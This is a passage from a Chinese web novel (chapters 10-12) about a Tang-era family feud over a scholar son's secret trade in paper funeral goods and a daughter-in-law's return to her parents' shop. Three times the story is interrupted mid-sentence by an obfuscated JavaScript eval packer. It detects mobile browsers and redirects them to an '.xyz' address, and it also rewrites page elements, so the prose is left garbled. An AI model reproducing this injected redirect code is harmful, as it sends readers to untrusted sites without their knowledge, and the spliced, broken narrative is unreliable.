夜里,孟青抬手碰一下身侧的男人,“杜黎,我这心里怎么一直不踏实。你说你三弟干这种事,我俩都能知情,怎么就非要瞒着你爹娘?” “我也在想,你回娘家做纸扎,长则一两个月不会回来,回来也不能久待,家里的蚕桑和农活你不沾手,到时候我爹娘兄嫂都看你不顺眼,我们这一房又要沦为全家的敌人。”杜黎忌讳这种情况发生,他心里已有主意,“我明早就去跟我爹娘说,他们担惊受怕也好,愧疚难眠也罢,反正他们一定要知情。总不能你出力,最后还落一身埋怨。” 孟青藏在暗处庆幸一笑,他跟她想到一处去了,她从始至终就没有隐瞒杜父杜母的打算。她要让他们知道她握着杜悯的把柄,这辈子别想在她面前搞鬼作妖。 “你别一个人直愣愣地闯去说,先跟三弟透个气,最好你俩一起去找爹娘,让他去说,你爹娘更信他的话。”孟青提醒。 “好。”杜黎睡不着,他起身说:“我睡不着,我现在就去说吧。” “我还想睡呢,今天累了一天。”孟青按住他,“睡不着你闭眼数数,别影响我。” “你先别睡,我们说说话,你明天就要带孩子回城,下次见不知道啥时候了。”杜黎叹气,他侧过身望着被下隆起的身影,问:“你都没跟我商量,怎么就答应他了?” “于他有利,于我们望舟也有利,值得冒险。杜黎,我们要赚钱攒钱,等望舟满六岁,就送他去私塾上蒙学。”孟青可不想留在婆家做苦力,日后需要用钱的时候又频频回娘家借。 最紧要的,她憧憬由她带来的纸质明器能在唐代掀起风潮。 10. 第十章 雄鸡报晓,冉冉升起的朝阳一点点蚕食掉天际暗淡的星光,碧水环绕的杜家湾从青色的水雾中露出黄泥土墙。 孟青和孩子还在睡,杜黎轻手轻脚拉开门出去,对面的灶房冒出炊烟,里面却没有人。他看水缸里还有小半缸水,今早暂时不用挑水,脚尖一拐朝中堂去。 “锦书,快醒醒。”北屋里,李红果拍醒儿子,她念叨说:“快穿衣起来,去找你三叔念书,他今天一个半天都在家,你好好跟他学个半天。” 杜明被吵醒,他不耐烦地翻个身,烦躁地说:“用得着这么早?你别去打扰三弟睡觉。” “你三弟早就起了,我去抱柴的时候就听到他在书房背书。”李红果把巧妹也拽起来,说:“少睡点,跟你们三叔学,别像你们爹,除了吃就惦记着睡。” 杜黎走进杜悯的屋,屋里还飘有烛油燃烧的味道,再看油盏,里面盛的油已经见底,可见他昨夜又在熬夜温书。 一墙之隔,杜悯站在大开的窗前抑扬顿挫地背书,双眼闭着,很是沉浸。 直到一卷书背完,他才满意地睁开眼。 杜黎敲敲门,“三弟,我进来了啊。” “进。”杜悯心头大事得以解决,他精神亢奋,见杜黎推门进来,他中气十足地喊一声二哥,“二哥,你起得挺早。” “不及你早,你天不亮就起了?”杜黎指一下桌上的油盏,里面的烛火还没熄灭。 “哎呀!我忘了。”杜悯过去吹灭烛火,他顺手放下书卷,说:“你我不同,你忙田地里的农活,日日受累,能睡的时候就多睡会儿。我这时候不能睡,要少睡多用功,要是贪睡贪享受,对不起你们受的累。” 杜黎心里熨帖,“你自小就懂事用功,好像生来就知道上进,家里有个你这样有出息的兄弟,我跟大哥甘愿受累。” 杜悯微笑,“二哥,你昨晚梦到我了?一大早说这些煽情的话。” “三叔!我和妹妹能进来吗?”锦书和巧妹乖巧地站在中堂大声问。 “我有点事跟你说。”杜黎示意他打发走两个小孩。 杜悯出去一会儿,片刻后他关上后堂的门,走进书房又关上书房的门,“二哥,你说吧。” “我昨晚想了半宿,还是觉得你跟我们商议的事不能瞒着爹娘,趁爹娘这会儿还没起,你跟我过去和二老知会一声。”杜黎说。 杜悯拧起眉头,一早的好心情顿时没了,他闭眼轻吁一口气,按耐住烦躁,打起精神问:“又怎么了?二哥,你能不能别想一出是一出,一会儿一个主意,一个事拖拖拉拉重复好几遍,挺耗人心气,搞得我现在连看书的心思都没了。” 杜黎看清他脸上的神色,心里不免发凉,听完他指责的话,他有些发窘。他急切地解释:“我昨晚可没答应你,我想跟你说的时候,锦书和巧妹牵牛回来了。” “我跟二嫂都商量好了,她也同意瞒着爹娘,你就别插手了。”杜悯回到书桌前坐下,他拿起书卷翻看,一副不想再谈的模样。 “没有,她……”话到嘴边,杜黎想起孟青交代他不要提她的意见,免得叔嫂之间有隔阂,影响以后相处。他及时咽下不该说的话,坚定地说:“我不能不插手,这个事不跟爹娘说清楚,他们容不得你二嫂动不动带着孩子回娘家住,更容不得她回娘家帮忙而不在婆家干活儿。一回两回还罢,日子久了,爹娘会骂她不孝,整个村都会误以为她贴娘家,不是个好媳妇,对她名声不好。三弟,你二嫂为你出力,你不能不为她的名声考虑。” 杜悯冷眼看他,“我二嫂也知道你的想法?你俩昨天夜里商量过?” “她知道,不过她无所谓,毕竟她去年就干过跟娘吵完架搬回娘家住的事,她不在乎骂名。”杜黎撒个小谎,“但她不在乎我在乎,她跟家里关系差,连带望舟也会被他爷奶不喜。我不被爹娘喜欢就算了,不能让我的孩子走上我的老路。” “二哥,你怎么能这么说,都是爹娘的儿子,爹娘哪会不喜欢你。”杜悯不高兴听他这么说。 杜黎苦笑着摇头,“算了,不想多说,一提我就伤心。” 杜悯哀叹,他心累地趴在书桌上,“二哥啊,爹娘一直以我为荣,一直瞧不起奸滑的商人,可他们为了我甚至做出贩卖亲儿姻缘一事,说出去遭人鄙视,这已经够让他们没脸的了。今日要是再得知我去沾商贾之事,他们得多难受,比割肉抽骨还难受。” 杜黎对他这番话毫无感觉,他干巴巴地说:“爹娘会理解的。” 杜悯沉默不语。 “老二呢?缸里没水了怎么没人挑?”杜父站院子里问,“他人呢?还在睡?” “在三叔书房里,我去找三叔的时候听见我二叔的声音了。”锦书回答。 “你三叔跟他有什么聊的?”杜父觉得奇怪,他进中堂去敲门,“老二?你在你三弟屋里做什么?快出来挑水。” 杜黎径直去开门,“爹,三弟有事要告诉你。你先进去,我去叫娘。” 孟青抱着孩子从南屋出来,正好遇上杜黎出来喊杜母,夫妻俩对上一眼,无事人一般各做各的事。 杜母被杜黎喊走,李红果从灶房出来,她朝中堂看一眼,纳闷道:“二弟妹,这是出啥事了?” “不清楚,我刚醒。”孟青装傻。 李红果使唤锦书去喊杜明,“你爹牵牛吃草去了,你喊他回来。” 锦书利索跑出门,孟青抬眼去看李红果,李红果忽略她的目光,对此不做解释,她回灶房继续做饭。 书房里,杜悯不肯开口,杜黎不想磨蹭,他讲述这两天发生的事。 杜父越听脸色越黑,他下意识不肯相信他引以为傲的儿子去碰低贱的商贾之事,还跟晦气的纸马店有关。 “别是望舟娘拐带你三弟替她娘家做事。”杜老丁越想越觉得就是这回事,他怒骂道:“我就知道她是个阴狠歹毒的,就不该让她进我杜家的门,让她险些害了你三弟。” “杜悯!”杜黎大喊一声,“你哑巴了?你让爹娘闭嘴。我警告你,你二嫂再因你挨一句骂,你待会儿就是跪下磕头求她,我都不会答应让她再替你做事。” 杜悯被他吓到,杜父杜母宛如被割了心肝一样,一个骂他短命鬼,一个骂他讨债鬼。 “爹!娘!你们干什么呀!”杜悯赶忙叫停,他不敢去看他二哥的脸色,连忙解释说:“这都是我的主意,不是我二嫂的意思,她是为帮我才答应的。” “杜悯在孟青生下孩子的头一晚回来就是为这个事,我跟她都没答应,他第二天悻悻地走了。昨天我们在地里干活儿,他又缠着孟青说这个事。”杜黎冷声补充,“杜悯,你最好解释清楚,可别让你二嫂蒙冤。” “你闭嘴。”杜母呵斥,“你给我出去。” 杜黎动都不动。 “娘,你别这么跟我二哥说话,他都当爹了,又不是小孩,别动不动就斥骂。他没错,错的是我。”杜悯出言维护。 “你怎么想的?为什么要碰那事?”杜父连商贾之事这几个字都不敢提,生怕被人听去了,他压低声音问:“你知不知道,这事被外人知道了,你可就完了。” “我知道,我都知道,但我缺钱用……”杜悯把昨天说过的话又哀声重复一遍。 杜父杜母听完沉默了。 “爹,娘,对不起,儿让你们失望了,是我拖累了你们,拖累了这个家。”杜悯垂头丧气地说。 “我的儿,你可别说这种话,是爹娘对不起你,你投胎到贵人家哪会受这个罪。”杜母心疼死了,她抹着眼泪说:“你投胎到我们这个家才是受罪,是我们拖累了你。” 杜黎咬紧牙关,真是讽刺。 好在他已经习惯了,还能站在这里如一个外人一样看下去听下去。 这时,杜明回来了,孟青看见他,她走进中堂大声问:“杜黎,大哥回来了,人都到齐了,什么时候吃饭啊?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15825239|175494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “爹娘,这事不能让大哥大嫂知道,我不是不信任大哥大嫂,是担心锦书和巧妹不小心听去,再在外面说漏嘴。”杜悯忙说。 “好好好,不跟他说,这事就我们这几个人知道。”杜父知道事情的轻重,“老二,跟你媳妇嘱咐好,让她在外面闭紧嘴。” “她能不能闭紧嘴要看你们肯不肯善待她,你们动不动就辱骂她,她寒了心,什么事都能做出来。”真不愧是夫妻,杜黎说出跟孟青一样的句式。 杜父一听这熟悉的话就生气,他气得大骂:“你真是翅膀硬了,要反天了。” “去年我就不该同意你娶她,叫你当老光棍也好过让她挑唆你跟我们对着干。”杜母后悔死了。 杜明闯进来就听到这句话,他像个狗仗人势的狗,主人吹个哨,他不分东西就跑出来狂叫:“老二,你又闹什么?能不能消停点?你儿子的满月宴办也办了,难不成又要办周岁宴?” 杜黎看他像看傻子。 “吃饭吧,我饿了。”杜悯出声。 杜父杜母闭紧嘴巴往外走,杜明扭头跟上,他打听问:“爹,娘,你们一大早在吵什么?” “不关你的事,别瞎打听。”杜父心情糟糕极了,他不耐烦地斥一声。 杜明也恼了,“怎么不关我的事?你们要是再给老二钱,我就要送锦书去上蒙学。” “钱钱钱,哪来的钱?你把老子的肉割了拎去卖。吃饭,都给我消停点。”杜父骂。 杜母看见孟青,她张嘴就想骂,不等话出口,她想起杜黎的话,硬生生把骂声憋了回去。 “变天了啊。”杜母扯着嗓子喊一句,真是变天了,婆母怕起儿媳妇了。 李红果望天,还真要变天,天上云层盖住了太阳。 “三弟,你吃过早饭就走吧,万一下午下雨,你路上要淋雨。”李红果是真心为杜悯着想。 杜悯看向孟青,问:“二嫂,上午走吗?” 孟青看向杜父杜母,问:“爹,娘,我能走吗?” “你要去哪儿?又回娘家?”李红果不高兴。 “她带个孩子在家做不成事,家里还要多做一个人的饭,让她回娘家住几个月。”杜父心里乱糟糟的,但也做出了决定,“老二,你待会儿送她回城。” 李红果不干了,“爹,你这是什么意思?我生锦书和巧妹的时候,你可没做这样的安排,孩子小的时候,我一手哄孩子一手给你们做饭洗衣,剿蚕丝织绢布的时候也没少过我。我是丫鬟,她是少奶奶?” 杜父说不出话。 “她回去给她娘家帮忙,不是回去享福的。”杜母开口,她跟孟青说:“你不在家里干活儿,要给家里交钱,一个月三百文。” 孟青不同意,“我又不在家里吃饭,我交什么钱?我娘家替你们养媳妇养孙子,他们没找你们要钱真是亏了。” “你不在家,属于你的那份活儿是我跟你大嫂帮你干的,你怎么不交钱?”杜母瞪眼。 “我吃你家的饭才要付出劳力,我又不吃饭,干什么活儿?”孟青才不做这种吃亏的事,她把矛盾引走:“大嫂在家做事,你们要是觉得她吃亏受累,就一个月补她三百文。” 杜父杜母齐齐倒吸一口气。 “大嫂,三百文够吗?”孟青问。 李红果不敢说话。 “没这回事,她还有锦书和巧妹要养,这两个孩子不吃饭?”杜父赶忙绝了大儿媳的心思,他看向孟青,说:“家里忙的时候,喊你你就回来,不要你下地干活儿,你在家做几顿饭给我们送地里去。” “行。”孟青答应得痛快。 杜父不敢再让她多待,他迫不及待地说:“别吃了,吃多了晕船。老二,你们回屋收拾收拾,趁早去渡口等船。” 孟青的行李已经收拾好了,杜黎去提出来,等杜悯提着东西出来,三人一道离家。 杜父杜母站在院外目送,这一去也不知是福是祸。 11. 第十一章 快到村口时,孟青遇上两个挎着洗衣筐的妇人,对方看她抱着孩子,杜黎和杜悯都提着行李,二人的目光变得意味深长。 “孟青,你这是要去哪儿?又回娘家?我们杜家湾留不住城里的姑娘啊?”其中一个妇人阴阳怪气地说。 孟青仔细辨认两眼,面容眼熟,但她想不起对方的名字,印象中她跟她们没怎么打过交道,更别提得罪过她们,她们对她有这么大的怨气,也是奇怪。想来是她的性格和行为与她们格格不入,她们看不惯她,或是有人在背后说她的坏话。思及梦里她游荡在村里,听到的集体讨伐污蔑她的话,她心思一转,忍住阴阳嘲讽的话。 “对,我带孩子回娘家住一段日子。”孟青似无所觉,她笑着指一下杜悯,说:“我小叔子念书辛苦,他在书院舍不得吃好的,吃饭将就,还常熬夜温书,今年瘦了不少。我公婆忧心他弄坏身子,恨不能自己去城里赁房照顾他,但又舍不得家里的田地。他们念着我带着幼儿在家也帮不上忙,就商量着让我带孩子回娘家住,每天做点好菜送到书院给他补补。” 杜悯脸色一变,在对上孟青的眼睛时,他不是很乐意地认下这番说辞,“麻烦二嫂了。” 对面的两个妇人闻言,态度立马和善起来,另一个妇人温言细语地说:“你们家孵出这么个金凤凰,是要仔细照顾。” “五嫂子,什么金凤凰银凤凰,不要这么说,我担不起。”杜悯不好意思。 五嫂子哈哈一笑,“担得起,我们杜家湾的金凤凰。” “船来了。”被忽视的杜黎不得不出声。 “不耽误你们了,快去。”两个妇人让开路。 “船家,船家,等等,我们要搭船。”杜黎提着包袱大步跑向渡口。 这是一艘专门载客的船,船上还没有其他乘客,孟青抱着孩子上去钻进船蓬里,船离岸时一个晃荡,她跟着身子后仰,睡在襁褓里的孩子被吓得哇哇哭。 杜黎掀开布帘钻进来,“怎么醒了?饿了?我来抱?” “头一次坐船,他估计还不习惯船在水上飘的感觉。”孟青抬手搭上衣扣,她往外瞥两眼。 “我去外面守着。”杜黎明白她的意思。 孟青等船帘落下,她解开衣裳给孩子喂奶。 杜悯见杜黎进去又出来,船蓬里孩子的哭声也变得含糊,他当即明白了,一脸不自在地走到船尾坐下。 “小哥,你抓紧了,别掉下去了。”船家提醒。 “不会。”杜悯摇头。 “船家,你的橹入水浅一点,船慢一点,别让船太晃了,我们还带了个才满月的孩子,今天是头一次坐船,他不习惯。”杜黎听孩子又在哭,他好声好气地提要求。 “天色都变了,船慢了赶上下雨,船越发不稳当。你们也是,孩子才满月怎么就抱出来了,还是这种天气。”船家不满。 杜悯不免愧疚,他回首望,离村还不算远,他开口说:“二哥,我们要不先拐回去?等个好天再出发?” 杜黎心动,“你等等,我去问问你二嫂。青娘,今天风大,河面不平静,我们先拐回去,天好了再回城?” 孟青一脚蹬在船舷上稳住身子,她不晃,孩子就不害怕。 “算了,快到梅雨季了,一场雨能下五六天,到时候河里涨水,行船更难。”孟青拒绝,“你进来扶着我,我不晃孩子就不哭。” 杜黎进去,他坐在孟青旁边,一脚蹬着对面的船舷,一脚踩着船底发力,他把自己打造成一把椅子,孟青抱着孩子靠在他怀里,水上的风波顿时被削弱。 孩子不哭了,他安安分分喝奶。 杜黎抬头望着篷顶,说:“以后你想回来,你托人捎个信,我去接你和望舟。” “你有空多去城里看我们吧,我带着孩子,出行麻烦,你一个人行动方便,说走就走了。”孟青没有主动想回来的时候。 “你一直住在娘家,村里又有人嚼舌根。”杜黎主要担心这一点。 孟青抓住他的胳膊,她压低声音说:“回头你跟你爹娘说,我住在娘家是为照顾三弟饮食,让他们也这么跟村里人说。如此一来,村里的风言风语就少了。” “也行。”杜黎答应下来,“我们离开家的时候就该这么说的,也免得大哥大嫂有意见。” “没想起来。”孟青也暗悔,这个由头多好。 “算了,有意见就有意见吧,让大哥也尝尝被家里人合力欺瞒的滋味。”家里乱成这个样子,杜黎还挺高兴。 孩子吃饱了,船也从支流涌进江南河,这条河道是人工开凿的运河,河面开阔,河中央水流较缓,乌篷船浮在水面稳当许多。孟青把孩子递给杜黎抱着,她走到船板上透气。 运河上往来的船只多,有捕鱼的,也有运货和载客的,河两侧浪大水急,放排人借水运送竹子,喊号子的声音响彻河两岸。 “二嫂,望舟没受惊吧?”杜悯从船尾过来。 “哄睡了,他爹抱着呢。”孟青回答,“三弟,你觉得我在村头跟五嫂子们说的说辞没问题吧?你要是没意见,回头我让你二哥跟爹娘对好口风,以后就这么说,免得村里人对我长住娘家有意见。我们一家和和气气地过日子,不让外人看笑话。” 杜悯毫不犹豫地答应,“二嫂也没说错,这件事因我而起,在这方面你是为照顾我,才带着我侄儿舟车劳顿地回城。他一个小儿一点点大就要受罪,我这个当三叔的,心里着实不好受。” “三弟能体谅,我心里很是熨帖。”孟青心想跟聪明人说话就是痛快,她有意拉近关系,问:“三弟,我能进崇文书院吗?家里要是炖好肉好菜,我给你送一份。我要是走不开,我就让望舟舅舅去送。” 杜悯拒绝,孟家毕竟是商户,他私下并不乐意跟孟家人多有往来。 “二嫂,我不是日日都在书院,你们不一定能在书院找到我,你们要是跑空了,我心里挺过意不去。日后我要是嘴馋想吃好的,我去拜访叔婶,你们给我做一顿好菜,吃不完的我带回书院吃。”杜悯说得极为亲近。 “行。”孟青不勉强。 两人之间再无话,杜悯却一脸的欲言又止,孟青撇开目光,她紧了紧衣领,说:“河上水汽太重,湿乎乎凉飕飕的,我还是回船篷里吧。” 杜悯皱眉,他伸手阻止,“二嫂,等等。” “三弟,还有事?”孟青不解。 “二嫂,你看爹娘那边已经没意见了,村里的风言风语也解决了,你没什么后顾之忧了吧?我写给你的两张凭据是不是该还给我了?”杜悯不再暗示,他选择直接明说。 孟青顿时恼火了,她高声质问:“三弟,你这是什么意思?我怎么总觉得你不信任我?你疑心我会害你?我在你眼里到底是个什么样的人?” 船家好奇地看向他们。 “二嫂,你小声点。”杜悯心说她怎么像个泼妇,他羞得脸发红,嘴上不承认:“我没有这个意思。” “那你是什么意思? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15825240|175494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这事没意思透了,我们干脆散伙算了。”孟青不耐烦,她掀帘子进船篷,撂下一句话:“那玩意儿又不是什么值钱的东西,我哪会带在身上,撂在家里了,等我回去就给烧了,你就放一千万个心吧。” “什么事?”杜黎看向杜悯,他不高兴地问:“你惹你二嫂做什么?” “我没有……”杜悯有苦难言,孟青说发作就发作,她闹这一场他心知她轻易不会把两张凭据交出来,偏偏他还真担心她甩手不干了。 他被她摆了一道,气得心里火烧火燎的。 杜黎看向孟青,她气鼓鼓地绷着脸,一副火大的样子,但目含狡黠,不像吃亏了,他权当没看见这一出。 杜悯看他这个样子,越发来气,只质问他是什么意思? 江南河和太湖水域相交的地方有渡口,船行至渡口接上五位乘客,有陌生人在,之后的路程,杜悯没能再跟孟青搭上话。 船过水门进吴门,抵达鱼市,后上船的五个客人上岸,孟青和杜黎也在这儿上岸。 “看天色,过了晌估计就要下场大暴雨,雨天出行处处不便,我就不留你跟我们一起回孟家吃饭,你从这儿直接坐船去书院。”孟青跟杜悯说。 “船家,劳你送我三弟去崇文书院。”杜黎掏钱。 “二哥,你们走吧,船资我来给。”杜悯有气无力地说。 杜黎掏出二十个铜子递给船家,“够吧?” 船家接过一数,一文不多一文不少,他把船资丢褡裢里,说:“逢双的日子,我的船上午进城,下午出城,你们再坐船还搭我的船啊。” 杜黎点头,他抱着孩子先上岸,孟青随后。她上岸后扭身跟杜悯说:“三弟,你安心读书,把心思放在念书一事上,此事疏忽了,再多的思虑都是空想。” 杜悯立在船头没有说话。 船离开渡口,客船汇入往来熙熙的渔船行列,一眨眼就找不到了。 杜黎和孟青抱着孩子拎着行李也离开渡口。 二人径直去嘉鱼坊,循着河道走,抬头就能望见一座高塔,高塔所在之处就是瑞光寺。回到熟悉的地方,孟青浑身舒畅,她跟杜黎闲聊:“我小时候闲着没事就喜欢往这儿跑,数过路的大船,有时候还去鱼市看渔民卖鱼。” “我在鱼市见过你。” “什么时候?”孟青回忆,她丝毫没有印象。 “四年前,是个夏天,收完早稻种晚稻的时候,我跟我大哥在田里逮三桶泥鳅和鳝鱼,我们搭船想来鱼市给卖了,进鱼市就撞见你在跟一个鱼贩在吵架……” 提起跟鱼贩吵架,孟青顿时想起来了,“那个鱼贩是奸商,见我年纪小,想把半死的鳜鱼卖给我,我不肯,我要自己挑,他就甩脸子,称鱼的时候还溅我一脸腥水,我就跟他吵起来了,最后那条鱼也没买。” “他气得要揍你,你威胁他你家里是开明器店的,他敢动你一下,你就让你爹做法诅咒他,让他祖祖辈辈都倒霉。”杜黎笑,“我丈人真懂这个?” “吓唬他的。”孟青得意地笑,“那个鱼贩脾气不好,我那会儿真担心他动手打我。” 河上出现一道拱桥,孟青和杜黎从桥上过去,拱桥的另一端矗立着一座茶寮,煮茶的茶博士是孟青认识的,她停下步子说几句话。 绕过茶寮过几座民房,再过一道拱桥就到嘉鱼坊了。 孟家就在坊口,大门上落着锁,家里没人,孟青从衣襟里掏出一根青色的绳子,绳上串着两把黄铜钥匙。 12.第十二章 孟家居住的房子是个二进院,后院住人,前院被四五个棚子分割,堆放着竹子、竹条,圈养着十只鸡,养着一头驴,靠墙还放着一架木板车,布局杂乱拥挤,但收拾得很干净。 驴从驴棚里探出头,它冲孟青“咴咴”叫两声。 “大毛,我回来了。”孟青高兴地打招呼。 “它叫大毛,六岁了。”她介绍。 杜黎无奈,“我晓得,我来过,你也跟我说过。” “这不是担心你忘了。”孟青领他去后院,后院地方不算大,跟杜家占地不能比,堂屋、厢房和灶房都安排在后院,房屋之外的空余土地只有杜家院子的三分之一,不大的地方还种着孟青的橘树和孟母的桂树,树坑用圆润的太湖石排列一圈。 这个小院生活气息浓郁,杜黎每次过来都会打量许久。 孟青的闺房还是她上一次离开时的样子,不过床上是空的,被褥洗晒后装在箱笼里防潮。她急着要去给爹娘做饭,暂时没心思开箱铺床,她把孩子抱去孟父孟母的屋里睡觉。 杜黎看她拿另一把黄铜钥匙开主屋的门锁,他再一次见识到孟青在孟家的地位,她出嫁后不仅有娘家的钥匙,还有随意进出爹娘房间的权利。在杜家,只有杜悯能进西厢,但西厢的房门钥匙只有一把,绑在他爹的裤腰带上,只有他娘能拿到。 “我去做饭,你在院里守着,孩子要是醒了你喊我。”孟青出来说。 杜黎点头,“要我做什么吗?” “我做饭不要帮手。” 孟青动作麻利,不一会儿,屋顶的烟囱就冒出炊烟,她把米饭先蒸上,再着手洗菜切菜。食橱里有鸡蛋,有水芹,还有半块儿豆腐,只够做两个菜。 “杜黎,你去鱼市买两条鱼回来,瞅那才进城的渔船,买两条白鱼,我做清蒸。要是没有新鲜的白鱼,就买白鲢。虾也买个两三斤……” “青娘,你是不是在喊我?”杜黎从前院跑过来。 孟青走出去,“你不在后院?干什么去了?” “我想起进来的时候看驴棚里有驴粪,我去收拾收拾。” 孟青笑瞥他一眼,“你丈母娘回来又要夸你勤快。先别忙那事了,你去鱼市给我买两条鱼……” “鱼我买回来了。”孟母快步走进来,她在前院高声说:“我回来看大门开着,吓我一跳,我还以为我早上走得急,忘记锁门了。” 孟青和杜黎一起迎上去,孟母盯着孟青瞧两瞬,确定她眉间不带郁气,她扑通扑通的心才回归原位。 “我们昨天才回来,你俩今天就来了,早知道昨天跟我们一起走,也省了十文的船资。”当着女婿的面,孟母没问出心里的疑惑。 杜黎接过鱼,说:“我去刮鱼鳞。” 他一走开,孟母就绷着脸捏孟青一把,“你婆子娘把你们赶出门了?” “没有,杜黎是送我回来的,我这趟回来也是他爹娘点头同意的。娘,这是个喜事,等我爹和我小弟回来,我当着你们的面一起说,免得我要重复两遍。”孟青拉着孟母去灶房,“要下雨了,我爹跟我小弟没跟你一起回来?店里有生意?” 孟母半信半疑,喜事?跟杜家扯上关系的能有喜事? 她惴惴不安。 鱼刚清理干净,雨下下来了。 杜黎冒雨把驴棚和鸡圈打扫干净,雨水洗刷掉粪便残留的臭气,后院的柑橘树和桂树在雨点子的捶打下,叶子里的青香气散发出来,随着飘荡的水汽,一点点滋润着这个家。 “女婿,快换身衣裳。”孟母拿了身孟父的衣裳给他,“快换上,别着凉了,一下雨就冷。” “不碍事,一会儿就干了。”杜黎不在意,他在水田插秧的时候,湿衣一穿就是一天。 “听我的,去换上。”孟母瞪他,“这是你丈人爹的衣裳又不是旁人的,你拘束个什么劲儿。” “没拘束……”杜黎只得接过衣裳去孟青的闺房。 “杜黎,被褥在箱子里,你拿出来把床铺好。”孟青喊一声。 “好。” 等杜黎再出来,孟父和孟春都回来了,望舟也醒了,他们站在床边勾着头逗孩子。 杜黎有一刹那的恍惚,过往种种似乎离他远去,他不再是他,他成了另一个人,他也渴望成为另一个人。 在这个雨天 ,一颗种子在他心里破土发芽,他渴望过上新的生活,他想要有个家,家里没有看不起他的人。 “姐夫,爹的衣裳穿你身上挺合身。”孟春拎着尿戒子出来。 杜黎回神,他伸手接过尿戒子,“我来洗。” 孟春不跟他抢这个活儿,尿戒子丢给他,他冒雨跑进灶房,“姐,我来看火,你去把望舟喂饱,免得待会儿耽误你吃饭。” 孟青走出灶房,她看见杜黎,说:“雨下这么大,地里的活儿也做不成,你在这儿住下吧,多住几天,雨停了再回。” 杜黎摇头,雨天做不成活儿,村里的人没事干,喜欢聚一起扯闲篇,他家的事肯定要被人翻出来嚼碎了问,他得赶紧回去跟他爹娘对口风,免得影响孟青的名声。 “雨下得大,田里会涨水,秧苗才插下去半个月,水淹过秧苗会把整株秧苗泡得浮起来,我得回去守田看水。”杜黎用这个说辞。 孟父出来听到这话,他叹道:“种庄稼是个辛苦活儿。” “比飘在河面打鱼摇船轻省多了。”杜黎挺知足,种地是跟庄稼打交道,不怎么操心。 孟青看他主意已定,她就不劝了,她回屋抱孩子喂奶。 等把孩子哄睡,孟家人端菜吃饭,一条蒸鱼,一钵蒸蛋,半盆水芹豆腐汤,有干的有稀的,清淡又不乏滋味。 午饭吃好,孟母放下碗筷迫不及待地问:“这下能说了?” “这件事的缘由你们也清楚,就是他三弟的同窗顾无夏,这个人之前想在纸马店定做一对飞马,他托到杜悯面前,杜悯求到我这儿来。我答应试一试,就带孩子回来住一段日子。”孟青轻描淡写地说。 孟母看杜黎一眼,她含蓄地问:“再有大半个月,家里要剿丝织绢吧?你公婆没留你在家帮忙?” “他们倒是想留,奈何杜悯的事更要紧,他说什么圣人在打压厚葬提倡薄葬,他就此要写几篇策论。具体的我也说不清,反正他的意思是要倡议用纸质明器代替实物和陶器陪葬。”孟青故意说得含糊,“他想写相关的策论,但书院的学子对纸质明器接触不多,他想趁这个机会让他的同窗了解一下纸质明器的魅力。” 孟父对什么策论不懂,但他从孟青的话里嗅到商机:“你小叔子这篇策论要是再得魁首,我们孟家纸马店是不是要出名了?” “真不愧是我爹,一下子就抓住最深层的细节。”孟青大夸特夸。 孟母不屑,“什么深的细的,这招式我们熟,一听就明白了。你十来岁的时候天天去瑞光寺听经,跟香客们辩经,见缝插针地跟他们介绍纸人纸马,我们店里的生意不就是这样做起来的。一年年过去,也积攒了些名声。” “还是我娘聪明,一下子就看透了事情的关键,我们家的纸马店经营得有声有色,离不开你的功劳。”孟青挨个夸。 “那是。”孟母瞥孟父一眼。 孟父摆手失笑,“你的功劳你的功劳,我不跟你抢。” 孟青和孟春姐弟俩笑得合不拢嘴。 杜黎颇为新奇,父母、父女、母女之间竟还能这样相处? “事就是这么个事,我是回来帮忙的。”孟青把歪掉的话题拉回来,“明天杜悯大概会带顾无夏过来,如果没来,估计要等天晴了才来 。我跟他说好了,我要看过那幅字画才能决定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“行。”孟父接受。 “至于我糊的明器,我们还是对半分,我不能全要,我要带孩子,扎骨架、糊纸这些活儿肯定需要你们帮我,我不能把所有的盈利独占。”孟青把话讲清楚。 孟母指一下儿子,“孟春,你给你姐帮忙,盈利你俩分,这笔钱我跟你爹不要。” “你不要我要,你们要是聘请我这个老将帮忙,一天三十文的工钱。”孟父认真地说。 “我跟我姐搭伙,那是双剑合璧,岂有你指手画脚的机会。”孟春高兴他姐又回来了,放肆得想讨打。 孟父盯他,他一耸肩起身跑了。 “雨小了,我们还去纸马店吗?”孟春站檐下问。 杜黎回神,“雨下小了?我该走了。” “明天再走吧。”孟父留客。 “还是趁早走吧,夜里要是下大了,河里涨水,更不好行船。”杜黎心里是想留下的,但他操心的事更重要。 杜黎换上他的衣裳,孟家四口人送他出门。 “爹,娘,别送了,我日后还来的。”杜黎请他们止步。 “孟春,送你姐夫去渡口,要是没船,你再把他拽回来。”孟父交代。 “哎。”孟春回屋拿伞。 “路上小心点。”孟青嘱咐。 杜黎点头,“辛苦你一个人照顾孩子。” 孟青没料到他还有这个觉悟,她莞尔一笑,“记得多来看我和望舟。” 孟春拿伞出来,杜黎跟他走,待二人身影消失,孟青和她爹娘回屋。 